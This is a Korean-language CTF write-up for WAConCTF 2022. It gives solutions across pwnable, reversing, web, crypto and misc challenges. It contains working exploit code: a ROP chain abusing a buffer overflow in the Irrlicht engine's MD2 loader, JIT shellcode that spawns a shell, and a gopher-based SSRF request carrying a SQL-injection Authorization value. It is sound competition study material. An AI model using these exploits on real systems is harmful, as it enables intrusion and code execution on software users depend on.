# WAConCTF 2022 Writeup (군필)
# Pwnable
## babystack2022
- FLAG : `WACon{gjslkfjkalsdfjkladsjkfl}`
- Irrlicht 게임 엔진에서 md2 모델 파일을 처리할 때 발생하는 Buffer overflow 취약점을 이용하는 문제이다.
- 1-day 문제였고, PoC를 제공해준다. ([https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975](https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975))
- github에서 소스코드 오디팅이 가능하다. ([https://github.com/zaki/irrlicht](https://github.com/zaki/irrlicht))
- Buffer overflow는 아래 코드에서 발생한다. md2 모델 파일의 헤더에 있는 frameSize필드 값 만큼 read를 하기 때문에 Buffer overflow가 발생한다.
```c=
...
u8 buffer[MD2_MAX_VERTS*4+128];
SMD2Frame* frame = (SMD2Frame*)buffer;
file->seek(header.offsetFrames);
for (i = 0; i<header.numFrames; ++i)
{
// read vertices
file->read(frame, header.frameSize); // Buffer overflow
#ifdef __BIG_ENDIAN__
frame->scale[0] = os::Byteswap::byteswap(frame->scale[0]);
frame->scale[1] = os::Byteswap::byteswap(frame->scale[1]);
frame->scale[2] = os::Byteswap::byteswap(frame->scale[2]);
frame->translate[0] = os::Byteswap::byteswap(frame->translate[0]);
frame->translate[1] = os::Byteswap::byteswap(frame->translate[1]);
frame->translate[2] = os::Byteswap::byteswap(frame->translate[2]);
#endif
//
// store frame data
//
CAnimatedMeshMD2::SAnimationData adata;
adata.begin = i;
adata.end = i;
adata.fps = 7;
// Add new named animation if necessary
if (frame->name[0])
{
...
```
- PoC 코드를 이용해 생성한 md2 모델 파일을 MeshConverter 바이너리로 실행하면, frame→name[0]을 확인하는 조건문에서 Segmentation Fault가 발생한다. PoC로 인해 Stack이 ‘A’로 모두 overwrite되어 잘못된 포인터를 참조하기 때문이다.
- 따라서 Stack Overflow 이후 함수 Return까지 정상적으로 실행되도록 변수와 포인터를 적절히 넣어주었다. 예를 들어, NULL 값을 가리키는 유효한 포인터를 넣어 조건문 내부 코드가 실행되지 않게 하고, 동적 메모리 해제가 제대로 진행되도록 Heap Chunk 형태의 데이터를 가진 포인터를 찾아서 넣어주었다.
- 마지막으로 함수 Return 직전에 mesh→getMesh(0) 라는 함수가 호출된다. 해당 함수가 실행되려면 이중 for문의 내부 코드와 조건문 내부 코드가 최소 1회 이상 실행되어서 mesh→FrameList와 mesh→BoxList에 요소가 존재해야함을 확인했다.
- 취약한 코드 부분을 보면, numFrames 변수 값만큼 반복문이 실행된다. 따라서 2개의 frame을 생성했다. 첫 frame은 mesh→FrameList와 mesh→BoxList 요소를 추가하기 위해 정상적인 구조체 값을 삽입하고, 두 번째 frame은 ROP Payload를 삽입하였다. ROP로 stdout의 got 값을 가져온 뒤, return gadget으로 system 함수를 호출해 flag를 획득했다.
- Exploit 코드는 다음과 같다.
```python=
#!/usr/bin/python3
from pwn import *
import struct
import os
local = 0
md2header = b""
md2header += p32(844121161) # magic
md2header += p32(8) # version
md2header += p32(0) # skinWidth
md2header += p32(0) # skinHeight
md2header += p32(0x3000) # frameSize
md2header += p32(0) # numSkins
md2header += p32(1) # numVertices
md2header += p32(1) # numTexcoords
md2header += p32(1) # numTriangles
md2header += p32(0) # numGlcommands
md2header += p32(1) # numFrames
md2header += p32(0) # offsetSkins
md2header += p32(0) # offsetTexcoords
md2header += p32(0x44 + 0x1e) # offsetTriangles
md2header += p32(0x44) # offsetFrames
md2header += p32(0) # offsetGlCommands
md2header += p32(0) # offsetEnd
normal_frame = b''
normal_frame += p32(0x11) * 3
normal_frame += p32(0x22) * 3
normal_frame += b'\x00' * 16
normal_frame += p8(0x0) * 3
normal_frame += p8(0x0) * 1
normal_frame += p32(0x0) # dummy
md2header += normal_frame
# Overwrite header
payload = b''
payload += b'A' * (0x2080 - len(normal_frame))
payload += p32(844121161) # magic
payload += p32(8) # version
payload += p32(0) # skinWidth
payload += p32(0) # skinHeight
payload += p32(0) # frameSize
payload += p32(0) # numSkins
payload += p32(1) # numVertices
payload += p32(0) # numTexcoords
payload += p32(1) # numTriangles
payload += p32(0) # numGlcommands
payload += p32(0) # numFrames
payload += p32(0) # offsetSkins
payload += p32(0) # offsetTexcoords
payload += p32(0x44 + 0x1e) # offsetTriangles
payload += p32(0x44) # offsetFrames
payload += p32(0) # offsetGlCommands
payload += p32(0) # offsetEnd
# Dummy
payload += p32(0x0) + p64(0x0) * 4
# Overwrite Stack variable
# payload += p64(0x8b0890) # frame (local)
payload += p64(0x8965a8) # frame
payload += p64(0x8b3c70) # triangles
payload += p64(0x0) * 10
# ROP
test = 0x739B0B
puts_plt = 0x418D34
exit_plt = 0x419AD0
read_plt = 0x419D50
memcpy_plt = 0x418620
stdout_got = 0x8B0698
ret = 0x41AD44
ptr = 0x8b48a0
prdi = 0x738b03
prsi = 0x587d19
prdx = 0x5b0972
mov = 0x5a06f9 # mov rax, rdi+0x108; ret
mov_rdi = 0x5ae0a7 # mov rdi, r14 ; call rax
sub = 0x59b924 # sub rax, rdx; ret
add = 0x6eadca # add rax, rdx; ret
push_pop = 0x6b30cf # push rsp; pop rbp; ret;
call_rax = 0x5a94f6 # call rax
payload += p64(prdi)
payload += p64(ptr)
payload += p64(prsi)
payload += p64(stdout_got)
payload += p64(prdx)
payload += p64(0x8)
payload += p64(memcpy_plt)
payload += p64(prdi)
payload += p64(ptr - 0x108)
payload += p64(mov)
payload += p64(prdx)
payload += p64(0x875a0) # libc offset
payload += p64(sub)
payload += p64(prdx)
payload += p64(0x55410) # system offset
payload += p64(add)
payload += p64(mov_rdi)
payload += b'cat fl*\x00' * 0x30
md2header += payload
if local:
with open("exploit.md2", "wb") as f:
f.write(md2header)
p = process(['./MeshConverter', './exploit.md2', '/dev/null'])
p.send(md2header)
p.shutdown()
for i in range(100):
try:
print(p.recv().decode())
except:
pass
else:
r = remote('114.203.209.118', 8080)
r.send(md2header)
r.shutdown()
for i in range(100):
try:
print(r.recv().decode())
except:
pass
r.interactive()
```
## superunsafejit
`FLAG: WACon{this_chal_has_nothing_to_do_with_compilers_because_i_wanted_it_to_be_ezpz}`
- Rust로 구현된 jit 문제이다. 코드를 자세히 분석하던 중, jit compiler가 memory boundary를 검사하지 않는 것 (boundary 관련 코드를 주석처리) 을 확인했다.
- 따라서 문제에서 사용하는 bytecode를 대략적으로 코드로 구현해놓은 뒤 jit 메모리를 디버깅하면서 2byte jmp shellcode를 사용하여 해결할 수 있었다.
```python=
from pwn import *
# p = process('./chal_debug')
p = remote('175.123.252.15', 8888)
REG = {
"rax": 0,
"rbx": 1,
"rcx": 2,
"rdx": 3,
"rdi": 4,
"rsi": 5,
"r8": 6,
"r9": 7,
"r10": 8,
"r11": 9,
"r12": 10,
"r13": 11,
"r14": 12,
"r15": 13,
}
def add_function(bytecodes):
p.sendlineafter('>> ', '1')
p.sendlineafter('>> ', bytecodes)
def loadImm(dst, imm):
return b"\x00" + p16(dst) + p32(imm)
def loadMem(dst, base, offset):
return b"\x01" + p16(dst) + p16(base) + p16(offset)
def storeMem(src, base, offset):
return b"\x02" + p16(src) + p16(base) + p16(offset)
def add(dst, src):
return b"\x03" + p16(src) + p16(dst)
def sub(dst, src):
return b"\x04" + p16(src) + p16(dst)
def jmp(bid):
return b"\x07" + p16(0) + p32(bid)
def jez(cond_reg, imm):
return b"\x08" + p16(cond_reg) + p32(imm)
def call(fid):
return b"\x09" + p16(0) + p32(fid)
bc = b""
bc += loadImm(REG["rax"], 0x0AEB)
# bc += loadImm(REG["rbx"], 0x377000)
bc += loadImm(REG["rbx"], 0x36b000)
bc += storeMem(REG["rax"], REG["rbx"], 0x39)
bc += loadImm(REG["rcx"], 0xCCCCCCCC)
bc += loadImm(REG["rax"], 0x06EBF631)
bc += loadImm(REG["rax"], 0x06EB2F6A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB0904)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB626A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB0904)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB696A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB0904)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB6E6A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB0904)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB2F6A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB0904)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB736A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB0904)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB686A)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB062C)
bc += loadImm(REG["rax"], 0x06EB9448)
bc += loadImm(REG["rax"], 0x06EB5F54)
bc += loadImm(REG["rax"], 0x06EB3B6A)
bc += loadImm(REG["rax"], 0x06EB9958)
bc += loadImm(REG["rax"], 0x06EB050F)
add_function(bc.hex())
p.interactive()
```
# Reversing
## Type confusion
`FLAG: WACon{Typ3-c0nFusion-w3akneSses_have-r3c3iv3d_sOme-a77entIon=by-app1ied_r3search3rs_and+maj0r_software+vendors_for_C__and-C++?code.}`
- type representation 관련 문제인데, double과 uint64_t의 메모리 상 표현방법이 다르다는 점을 착안하여 낸 문제인 것을 확인하였다.
- 해당 문제의 풀이 방법은 double형으로 표현된 8byte와 uint64_t로 표현된 8byte가 동일하면 된다.
- 따라서, 아래와 같이 값을 좀 크게 올려 나가면서 값을 비교하는 방식으로 풀이할 수 있다.
```python=
import struct
calc = lambda x: [hex(struct.unpack("<Q", struct.pack("<d", x))[0]), hex(x)]
"""
>>> calc(2**62+30*(2**53)+0x10f00000000000)
['0x43d0f43c00000000', '0x43d0f00000000000']
>>> calc(2**62+30*(2**53)+0x10f43c00000000)
['0x43d0f43d0f000000', '0x43d0f43c00000000']
>>> calc(2**62+30*(2**53)+0x10f43d0f000000)
['0x43d0f43d0f43c000', '0x43d0f43d0f000000']
>>> calc(2**62+30*(2**53)+0x10f43d0f43c000)
>>> calc(2**62+30*(2**53)+0x10f43d0f43d0f4)
['0x43d0f43d0f43d0f4', '0x43d0f43d0f43d0f4']
"""
print(calc(2**62+30*(2**53)+0x10f43d0f43d0f4))
```
## replace
`FLAG: WAcon{200ff79b4c3f97ef47ac1fd0f9968c6c6aa0fa7306ad2683612bb4212475242c9e3c5b7b8}`
- 문제에서 python 3.11 버전의 pyc파일을 제공한다.
- 하지만 최신 버전의 pyc decompiler는 3.8 버전의 pyc 까지만 지원하므로, docker로 python 3.11 환경을 구축하여 pyc bytecode를 분석해가며 코드를 복원하였다.
- 코드를 살펴 보았을 때, markov 알고리즘을 사용한듯 보였고 5byte를 각 바이트마다 처리함을 확인할 수 있었다.
- 구현된 함수를 살짝 바꿔서 함수 내부에 `abs(a - t)` 의 값이 작아지는 순간이 존재함을 확인했고 사이드 채널로 문제 풀이가 가능함을 확인하였다.
```python=
def c(k, m, f, r):
o = []
# print('checking')
for i in range(0, len(k), 5):
o.append(bin(int.from_bytes(k[i:i + 5], byteorder='big'))[2:].zfill(40))
if len(o) != len(f):
# print("c - 1", len(o), len(f))
return False, 99999999999999
for a, b in zip(f, o):
t = int(u(m, r, b), 2)
print(k[:5], a, t, hex(abs(a - t)))
if abs(a) == abs(t):
return True, 0
if abs(a) != abs(t):
# print("c - 2:", k, a == t)
return False, abs(a-t)
return True, 0
```
- 각 3, 4, 5, 1, 2번째에 `abs(a -t)` 값이 현저히 작아졌는데, 이 점을 이용하여 multiprocessing과 Redis를 통해 매 바이트를 병렬적으로 계산하여 한 번에 flag가 나오도록 풀이했다.
```python=
import itertools
from multiprocessing import Manager, Pool, freeze_support
from multiprocessing.pool import MapResult
from threading import Thread
import string
import redis
rds = redis.Redis(host='localhost', port=6379, db=0)
def t(s, a, b):
l = s[:]
s = s.replace(a, b)
return (s, not s == l)
def n(x, r):
rng = range(len(x) ** 2)
# for _ in rng:
p = False
for d, l in r:
x, p = t(x, d, l)
if p:
break
return x
def u(m, r, g):
x = m.format(g)
b = x
x = n(x, r)[:]
while x != b:
b = x
x = n(x, r)[:]
return x
def c(k, m, f, r):
o = []
# print('checking')
for i in range(0, len(k), 5):
o.append(bin(int.from_bytes(k[i:i + 5], byteorder='big'))[2:].zfill(40))
if len(o) != len(f):
# print("c - 1", len(o), len(f))
return False, 99999999999999
for a, b in zip(f, o):
t = int(u(m, r, b), 2)
print(k[:5], a, t, hex(abs(a - t)))
if abs(a) == abs(t):
return True, 0
if abs(a) != abs(t):
# print("c - 2:", k, a == t)
return False, abs(a-t)
return True, 0
g_diff = [ 9999999999999999999999 for _ in range(256) ]
def p_c(x):
rds.set(str(x[4]), c(x[0], x[1], x[2], x[3])[1])
# q = c(x[0], x[1], x[2], x[3])[1]
# if q == 0:
# print(x[0])
def O(m, f, ti):
r = []
r.append(('C0', 'yC'))
r.append(('C1', 'YC'))
r.append(('Uyy', 'yUy'))
r.append(('UyY', 'YUy'))
r.append(('UYy', 'yUY'))
r.append(('UYY', 'YUY'))
r.append(('UYC', 'YC'))
r.append(('UyC', 'yC'))
r.append(('Ayy', 'yAy'))
r.append(('AyY', 'YAy'))
r.append(('AYy', 'yAY'))
r.append(('AYY', 'YAY'))
r.append(('AYC', 'YC'))
r.append(('AyC', 'yC'))
r.append(('Gyy', 'yGy'))
r.append(('GyY', 'YGy'))
r.append(('GYy', 'yGY'))
r.append(('GYY', 'YGY'))
r.append(('GYC', 'YC'))
r.append(('GyC', 'yC'))
r.append(('C', ''))
r.append(('y8', '8y'))
r.append(('Y8', '8Y'))
r.append(('53', '35'))
r.append(('54', '45'))
r.append(('52', '25'))
r.append(('73', '37'))
r.append(('74', '47'))
r.append(('72', '27'))
r.append(('y63', '65'))
r.append(('y64', '67'))
r.append(('Y63', '67'))
r.append(('Y64', '65'))
r.append(('y62', '625'))
r.append(('Y62', '627'))
r.append(('863', '865'))
r.append(('864', '867'))
r.append(('257', '27'))
r.append(('255', '25'))
r.append(('862', ''))
r.append(('59', '95'))
r.append(('79', '97'))
r.append(('^^$&', '$*'))
r.append(('^*$&', '$&^'))
r.append(('*^$&', '$&^'))
r.append(('**$&', '$&*'))
r.append(('^^$', '$^'))
r.append(('^*$', '$*'))
r.append(('*^$', '$*'))
r.append(('**$', '$&^'))
r.append(('^#', '#^'))
r.append(('^@', '@^'))
r.append(('*#', '#*'))
r.append(('*@', '@*'))
r.append(('#$', '^$'))
r.append(('@$', '*$'))
r.append(('5!$', '5!#$'))
r.append(('7!$', '7!#$'))
r.append(('9!9', '95!#'))
r.append(('9!@', '95!@'))
r.append(('5!', '!^'))
r.append(('7!', '!*'))
r.append(('^$&', '$*'))
r.append(('*$&', '$&^'))
r.append(('*$', '$*'))
r.append(('^$', '$^'))
r.append(('!$&', '*'))
r.append(('!$^', '!$'))
r.append(('!$', ''))
r.append(('9', ''))
r.append(('_|)(^', '^_|)('))
r.append(('_|)(*', '*_|)('))
r.append(('^-', '-^'))
r.append(('*-', '-*'))
r.append(('|?*', '*"|?'))
r.append(('|?^', '^`|?'))
r.append(('|?_', '_|?'))
r.append(('/*', '*/'))
r.append(('/^', '^/'))
r.append(('/_', '_/'))
r.append(('"_', '_"'))
r.append(('`_', '_`'))
r.append(('`*', '*`'))
r.append(('`^', '^`'))
r.append(('"*', '*"'))
r.append(('"^', '^"'))
r.append(('|?', '~|'))
r.append(('/', '~'))
r.append(('|~', '`~|'))
r.append(('||', '|'))
r.append(('"~', '~"'))
r.append(('`~', '~`'))
r.append(('"|', '|"'))
r.append(('`|', '|`'))
r.append(('{}', '}{'))
r.append(('{(', '({'))
r.append((':(', '(:'))
r.append((':}', '}:'))
r.append(('<.', '>'))
r.append(('>.', '.<'))
r.append(('<{', '{<'))
r.append(('<:', ':<'))
r.append(('>{', '{>'))
r.append(('>:', ':>'))
r.append(('.{', '{.'))
r.append(('.:', ':.'))
r.append(('"){', ')>'))
r.append(('"):', ').<'))
r.append(('`){', ')<'))
r.append(('`):', ')>'))
r.append(('")(', '"){'))
r.append(('`)(', '`){'))
r.append(('")}', '"):'))
r.append(('`)}', '`):'))
r.append(('`)<', ')<<'))
r.append(('`)>', ')<>'))
r.append(('`).', ')>'))
r.append(('").', ').<'))
r.append(('")>', ')>>'))
r.append(('")<', ')><'))
r.append((').', ')>'))
r.append(('<', '('))
r.append(('>', '}'))
r.append(('*+', '+|?'))
r.append(('^+', '+/'))
r.append(('-+*', '-+'))
r.append(('-+^', '-+'))
r.append(('-+_~', '-+_'))
r.append(('-+_|)(}', '-+_|)}'))
r.append(('-+_|)((', '-+_|)('))
r.append(('-+_|)', ''))
r.append(('}', '0'))
r.append(('(', '1'))
z = b"WAcon"
z += b"{200f"
z += b"f79b4"
z += b"e3f97"
z += b"ef47a"
z += b"c1fd0"
z += b"f9968"
z += b"c6c6a"
z += b"a0fa7"
z += b"306ad"
z += b"26836"
z += b"12bb4"
z += b"21247"
z += b"5242c"
z += b"9e3c5"
z += b"b7b8}"
tbs = string.hexdigits[:16].encode()
base = b"{0000"
tmp = rds.get("result")
if tmp == None:
tmp = list(b"0" * 5)
print(tmp)
tmp = list(b"0" * 5)
for idx in range(2, 8):
with Pool(16) as p:
px = []
for i in tbs:
# 3 4 5 1 2
tmp[idx % 5] = i
z = bytes(tmp)
z += b"\x00\x00\x00\x00\x00" * (16 - ti - 1)
# print(z)
px += [ p.map_async(p_c, [[z, m, f, r, tbs.index(i)]]) ]
for i in range(len(px)):
px[i].wait()
for i in range(16):
g_diff[i] = int(rds.get(str(i)))
print(i, hex(g_diff[i]))
print()
print(chr(tbs[g_diff.index(min(g_diff))]), hex(g_diff[g_diff.index(min(g_diff))]))
tmp[idx % 5] = tbs[g_diff.index(min(g_diff))]
print(bytes(tmp))
rds.set("result", bytes(tmp))
flag = rds.get("flag")
if flag == None:
flag = b"WAcon{200f"
flag += bytes(tmp)
print(flag)
rds.set("flag", flag)
if __name__ == '__main__':
freeze_support()
code = "AAGGAGUUUGGUAAGAGC{}86333443433434344443334333343433433433443429!@#@@@##@@@#@#@@@@#@###@@######@#@@@@$-+_|)(^*^*^*^**^***^^*^^*^******^^^^^^*^^^**^*"
data = (99512259869761554795018, 253754266583327778908432, 281602688614543724292702, 84269256748207667632118, 241141030851413547893912, 83812495011279974980138, 282245677884936205873402, 100191589714521028877688, 83775095457995283500868, 234197904476354378398532, 279045295657591820837752, 96388707794455435816208, 247480670762125689118762, 241079155110812226196752, 249988636775530633407922, 96904835327815245382238)
for i in range(2,16):
O(code, data[i:], i)
print(rds.get("flag"))
```
# Web
## Kuncɛlan
`FLAG: WACon{Try_using_Gophhhher_ffabcdbc}`
- 문제 컨셉은 blackbox pentesting 이다.
- 사이트 내에 LFI 취약점이 존재하여 php wrapper를 사용해 소스코드를 얻을 수 있었다.
- curl을 이용할 수 있었으나 admin이 에 대한 권한 검증 루틴이 존재했고, admin이 되기 위한 조건과 각 우회 방법은 다음과 같다.
- IP == 127.0.0.1
- IP 체크는`HTTP_X_HTTP_HOST_OVERRIDE`을 사용해 우회할 수 있다.
- X-TOKEN 값 검증
- 토큰의 경우 사용하는 시드의 최대 값이 `getrandmax(2147483647)`로 bruteforceable 하기 때문에 무작위 대입을 통하여 `X-SECRET`를 획득할 수 있다.
- COOKIE 내 admin 문자열
- 요청 패킷의 쿠키 값을 변경한다.
- 이후 정상적으로 curl를 사용할 수 있게 되는데, curl 함수를 호출할 때 내부 IP에는 접근하지 못했으나 location follow 옵션이 활성화된 것을 확인했다.
- 따라서 공격자 서버에 location 헤더를 설정하여 redirect 해주고 gopher 를 사용해 내부 서비스에 접근하도록 유도할 수 있다.
```php=
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
```
- 주석 처리된 위 URI을 gopher로 접근해보면 또 다른 URI가 나오고, 해당 URI을 다시 요청하면, Auhtorization 헤더가 존재하지 않는다는 에러가 발생한다.
- Authorization 헤더를 예시로 아래와 같이 맞춰준 이후 요청하면 sqli가 발생함을 확인할 수 있다.
```shell=
➜ ~ echo -ne "admin':admin" | base64
YWRtaW4nOmFkbWlu
```
- 따라서 sqli를 통해 admin password를 질의하여 첫 번째 flag 를 획들할 수 있고, 두 번째 flag는 Authorization을 포함해 요청이 정상이면 출력되므로 두개의 플래그를 합치면 된다.
```php=
<?php
header('Location: gopher://localhost:80/1POST%20%2finternal%5f1d607d2c193b%2ephp%20HTTP%2f1.1%0d%0aAuthorization:%20Basic%20YWRtaW46J3x8dHJ1ZSM=%0d%0aHost:localhost%0d%0aContent-Length:%2010%0d%0aContent-Type:%20application%2fx-www-form-urlencoded%0d%0a%0d%0auser=admin%0d%0a');
?>
```
# Crypto
## The Game of DES
- FLAG : `WACon{I-al11lso-like-str@wb3rry-Carrrr0t_wat3333rm310n---OriiiientalMe3e3lon-m3111111oN-Game-XD}`
DES에는 취약한 키가 몇개 존재하는데 아래의 Semi-weak Key 쌍을 이용하여 한번씩 암호화 하면 원문으로 복호화되는 특성이 있다.
```
DES Semiweak Key Pairs
01FE 01FE 01FE 01FE and FE01 FE01 FE01 FE01
1FE0 1FE0 0EF1 0EF1 and E01F E01F F10E F10E
01E0 01E0 01F1 01F1 and E001 E001 F101 F101
1FFE 1FFE 0EFE 0EFE and FE1F FE1F FE0E FE0E
011F 011F 010E 010E and 1F01 1F01 0E01 0E01
E0FE E0FE F1FE F1FE and FEE0 FEE0 FEF1 FEF1
```
문제에서 각 키 바이트를 한번만 쓸 수 있는 제약이 있는데 암호화에 영향을 주지않는 parity bit를 하나씩 바꾸면 키를 사용할 수 있다.
그렇게 짝수 번 만큼 키를 번갈아 사용하여 암호화를 하면 플래그를 획득할 수 있다.
```python=
from pwn import *
level = 44
r = remote("175.123.252.137", 8080)
r.sendlineafter("level > ", str(level))
for i in range(level):
if i % 2 == 0:
key = bytes.fromhex("1EE1 1FE0 0FF0 0EF1")
else:
key = bytes.fromhex("E11E E01F F00F F10E")
r.sendlineafter("hex format > ", key.hex())
r.interactive()
```
# Misc
## interspace
- FLAG : `WACon{interspace_is_made_of_inter_and_space}`
- 유저로부터 문자열을 입력 받고, 그 문자열과 flag의 유사도를 계산하여 출력해주는 파이썬 코드가 문제로 출제되었다. flag와 유사할수록 0에 가까운 값을 출력하며 파이썬 difflib의 SequenceMatcher를 사용한다.
- 한 문자씩 입력할 경우, 입력한 문자가 flag에 포함되어 있지 않다면 1.0을 출력한다. 전혀 유사하지 않기 때문이다. 그러나 입력한 문자가 1번이라도 flag에 포함되어 있으면 1.0보다 작은 값을 출력한다. 이 점을 이용해 flag에 포함된 문자 목록을 추출한다.
- 앞선 과정으로 구한 문자가 flag에 몇 번 등장하는지도 구할 수 있다. 그 문자를 1번, 2번, 3번, 4번 … 이런식으로 계속 반복해서 입력하다 보면 알 수 있다. 만약 flag에 A라는 문자가 3번 등장한다면, 그때 가장 낮은 값을 출력한다. 이에 대한 예시는 다음과 같다.
```python=
>>> 1-s(None, 'asdfqwerzxcvsssssss','ss').ratio()
0.8095238095238095
>>> 1-s(None, 'asdfqwerzxcvsssssss','sss').ratio()
0.7272727272727273
>>> 1-s(None, 'asdfqwerzxcvsssssss','sssss').ratio()
0.5833333333333333
>>> 1-s(None, 'asdfqwerzxcvsssssss','ssssss').ratio()
0.52
>>> 1-s(None, 'asdfqwerzxcvsssssss','sssssss').ratio()
0.46153846153846156
>>> 1-s(None, 'asdfqwerzxcvsssssss','ssssssss').ratio()
0.4814814814814815
>>> 1-s(None, 'asdfqwerzxcvsssssss','sssssssss').ratio()
0.5
```
- 이렇게 flag에 포함된 문자의 종류와 빈도를 구했다. 그 결과는 다음과 같다.
```
- 사용한 문자 종류
['a', 'c', 'd', 'e', 'f', 'i', 'm', 'n', 'o', 'p', 'r', 's', 't', 'A', 'C', 'W', '_', '{', '}']
- 문자별 빈도 수
{
"a": 4,
"c": 2,
"d": 2,
"e": 5,
"f": 1,
"i": 3,
"m": 1,
"n": 4,
"o": 2,
"p": 2,
"r": 2,
"s": 3,
"t": 2,
"A": 1,
"C": 1,
"W": 1,
"_": 6,
"{": 1,
"}": 1
}
- flag는 44글자
```
- 이후 `_`가 6번 등장하는 것을 보아 단어가 7개 등장할 것이라 예상했고, 그 형태는 `?_?_?_?_?_?_?`일 것이라 예상했다. ? 에는 단어가 들어갈 것이다. 그리고 문제 명이 interspace이며, 해당하는 문자가 모두 존재한다. 그리고 WACon{…} 이라는 플래그 포맷도 알고 있다. 이렇게 추론을 통해 단어를 예측하고, 유사도를 확인하는 방식으로 flag에 포함될 가능성이 높은 단어를 추려나갔다.
- `interspace_is_made_of` 가 가장 0에 가까운 값을 반환했다. 그래서 문법과 문맥, 남은 문자로 가능한 단어를 몇 가지 유추하여 뒷 부분 flag인 `inter_and_space`를 예측했다.
## towers of hanoi
`FLAG: WACon{y0u_crushed_th3_tow3rs}`
- 약간 변형된 하노이의 탑 문제이다.
- Level 3까지 존재하며 level 마다 원판의 수가 증가한다. (3, 5, 8~9)
- A,B,C 기둥에서 각각 3,0,0개의 원판을 가지고 있을때 A->C 로 옮겨야 하는데, 해당 문제에서는 랜덤하게 5~10번 정도 원판을 이동시킨 상태로 존재한다.
- 모든 알고리즘 코드가 A->C 까지 원판을 움직이는 것 뿐이므로 랜덤하게 초기 상태에서 차례대로 shuffle 했을 때와 문제에서 받은 상태가 동일한지 검사한 이후, backtracking한 대로 A기둥에 모든 원판을 모아준 상태로 만들어 준다.
- 따라서, A에 모든 원판이 모여있으므로 전통적인 하노이 탑 solver를 통해 문제를 해결할 수 있다.
```python=
from pwn import *
import itertools
context.log_level = 'debug'
def hanoi(n, fr, to, spare, towers):
global tower_dp
'''(int, str, str, str)
Solve the classic puzzle Tower of Hanoi
>>> hanoi(1, "Middle", "Left", "Right")
- Move top ring in 'Middle' tower to the 'Left' tower
'''
def print_move(fr, to):
print("- Move top ring in '{}' tower to the '{}' tower".format(fr, to))
r = ""
if n == 1:
# print_move(fr, to)
x = towers[fr][0]
towers[fr] = towers[fr][1:]
towers[to] = [x] + towers[to]
# print(towers)
tower_dp += [ towers.copy() ]
return fr+to
else:
r += hanoi(n-1, fr, spare, to, towers)
r += hanoi(1, fr, to, spare, towers)
r += hanoi(n-1, spare, to, fr, towers)
return r
def toint(a):
w = []
for x in a:
w += [ int(chr(x)) ]
return w
con = remote("175.123.252.156", 9999)
levels = [ [1,2,3], [1,2,3,4,5], [] ]
for q in range(3):
tower_dp = []
con.recvuntil(f"# Level {q+1}: ".encode())
a,b,c = con.recvline()[:-1].split(b",")
a,b,c = list(map(toint, [a,b,c]))
levels[q] = sorted(a + b + c)
print(levels[q])
print(a, b, c)
tower = {"A": a, "B": b, "C": c}
hanoi_solve = hanoi(len(levels[q]), "A", "C", "B", {"A":levels[q], "B":[], "C":[]})
tb = list(itertools.permutations("ABC", 2))
def getShuffle(n, tower_cur, shuffle, shuffle_dp, target):
if n == 0 or not tower_cur[shuffle[0]]:
return False, []
fr, to = shuffle
x = tower_cur[fr][0]
tower_cur[fr] = tower_cur[fr][1:]
tower_cur[to] = [x] + tower_cur[to]
shuffle_dp += [ fr + to ]
if tower_cur == target:
return True, shuffle_dp
for i in range(len(tb)):
e, x = getShuffle(n - 1, tower_cur.copy(), tb[i], shuffle_dp[:], target)
if e:
return e, x
return False, []
dps = [ 0 for _ in range(100) ]
for i in range(len(tb)):
dp = []
tp = {"A":levels[q], "B":[], "C":[]}
r, dp = getShuffle(10, tp.copy(), tb[i], dp, tower)
if not r:
continue
if len(dps) > len(dp):
dps = dp
dps = dps[::-1]
r = ""
for dp in dps:
print(dp)
r += dp[::-1]
print(r)
r += hanoi_solve
con.sendlineafter(b"> ", r.encode())
con.interactive()
```